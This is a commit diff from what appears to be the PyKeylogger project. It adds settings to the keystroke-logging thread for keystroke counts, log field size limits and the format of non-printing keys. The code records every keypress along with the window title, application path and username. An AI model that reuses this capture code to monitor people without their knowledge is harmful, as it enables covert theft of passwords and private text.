add config items for keystroke count, log field size limit, and nonprinting key representation.

nanotube [2008-02-08 05:05]
add config items for keystroke count, log field size limit, and nonprinting key representation.
implement those in the logwriter.
Filename
logwriter.py
pykeylogger.ini
pykeylogger.val
diff --git a/logwriter.py b/logwriter.py
index c5e5f85..dae3375 100644
--- a/logwriter.py
+++ b/logwriter.py
@@ -167,6 +167,8 @@ class LogWriter(threading.Thread):
 		## line format:
 		## date; time (1 minute resolution); fullapppath; hwnd; username; window title; eventdata
 		##
+		## if we are logging keystroke count, that field becomes the penultimate field.
+		##
 		## event data: ascii if normal key, escaped if "special" key, escaped if csv separator
 		## self.processName = self.GetProcessNameFromHwnd(event.Window) #fullapppath
 		## hwnd = event.Window
@@ -181,6 +183,9 @@ class LogWriter(threading.Thread):
 		#self.stopflag=False
 		self.eventlist = range(7) #initialize our eventlist to something.

+		if self.settings['General']['Log Key Count'] == True:
+			self.eventlist.append(7)
+
 		while not self.finished.isSet():
 			try:
 				event = self.q.get()
@@ -200,10 +205,17 @@ class LogWriter(threading.Thread):
 								self.GetProcessNameFromHwnd(event.Window),
 								str(event.Window),
 								os.getenv('USERNAME'),
-								str(event.WindowName).replace(self.settings['General']['Log File Field Separator'], '[sep_key]'),
-								unicode(self.ParseEventValue(event), 'latin-1')]
-				if self.eventlist[:-1] == eventlisttmp[:-1]:
-					self.eventlist[-1] = str(self.eventlist[-1]) + str(eventlisttmp[-1])
+								str(event.WindowName).replace(self.settings['General']['Log File Field Separator'], '[sep_key]')]
+
+				if self.settings['General']['Log Key Count'] == True:
+					eventlisttmp = eventlisttmp + [1,unicode(self.ParseEventValue(event), 'latin-1')]
+				else:
+					eventlisttmp.append(unicode(self.ParseEventValue(event), 'latin-1'))
+
+				if (self.eventlist[:6] == eventlisttmp[:6]) and (self.settings['General']['Limit Keylog Field Size'] == 0 or len(self.eventlist[-1]) < self.settings['General']['Limit Keylog Field Size']):
+					self.eventlist[-1] = str(self.eventlist[-1]) + str(eventlisttmp[-1]) #append char to log
+					if self.settings['General']['Log Key Count'] == True:
+						self.eventlist[-2] = int(self.eventlist[-2]) + 1 # increase stroke count
 				else:
 					self.WriteToLogFile() #write the eventlist to file, unless it's just the dummy list
 					self.eventlist = eventlisttmp
@@ -239,7 +251,12 @@ class LogWriter(threading.Thread):
 		#we translate all the special keys, such as arrows, backspace, into text strings for logging
 		#exclude shift keys, because they are already represented (as capital letters/symbols)
 		if event.Ascii == 0 and not (str(event.Key).endswith('shift') or str(event.Key).endswith('Capital')):
-			return('[KeyName:' + event.Key + ']')
+			npchrstr = self.settings['General']['Non-printing Character Representation']
+			npchrstr = re.sub('%keyname%', event.Key, npchrstr)
+			npchrstr = re.sub('%scancode%', event.ScanCode, npchrstr)
+			npchrstr = re.sub('%vkcode%', event.KeyID, npchrstr)
+			#return('[KeyName:' + event.Key + ']')
+			return(npchrstr)

 		return(chr(event.Ascii))

@@ -247,7 +264,7 @@ class LogWriter(threading.Thread):
 		'''Write the latest eventlist to logfile in one delimited line
 		'''

-		if self.eventlist != range(7):
+		if self.eventlist[:7] != range(7):
 			try:
 				line = unicode(self.settings['General']['Log File Field Separator'],'latin-1').join(self.eventlist) + "\n"
 				self.PrintStuff(line)
diff --git a/pykeylogger.ini b/pykeylogger.ini
index 76abb8c..c45ec46 100644
Binary files a/pykeylogger.ini and b/pykeylogger.ini differ
diff --git a/pykeylogger.val b/pykeylogger.val
index 777c121..379f214 100644
--- a/pykeylogger.val
+++ b/pykeylogger.val
@@ -38,6 +38,18 @@ Log File = string(default="logfile.txt")
 Log File Field Separator Tooltip = string()
 Log File Field Separator = string(default="|")

+# default: False
+Log Key Count Tooltip = string()
+Log Key Count = boolean(default=False)
+
+# default: 0
+Limit Keylog Field Size Tooltip = string()
+Limit Keylog Field Size = integer(min=0, default=0)
+
+# default: [KeyName:%keyname%]
+Non-printing Character Representation Tooltip = string()
+Non-printing Character Representation = string(default="[KeyName:%keyname%]")
+
 # default: None
 System Log Tooltip = string()
 System Log = string(default=None)
ViewGit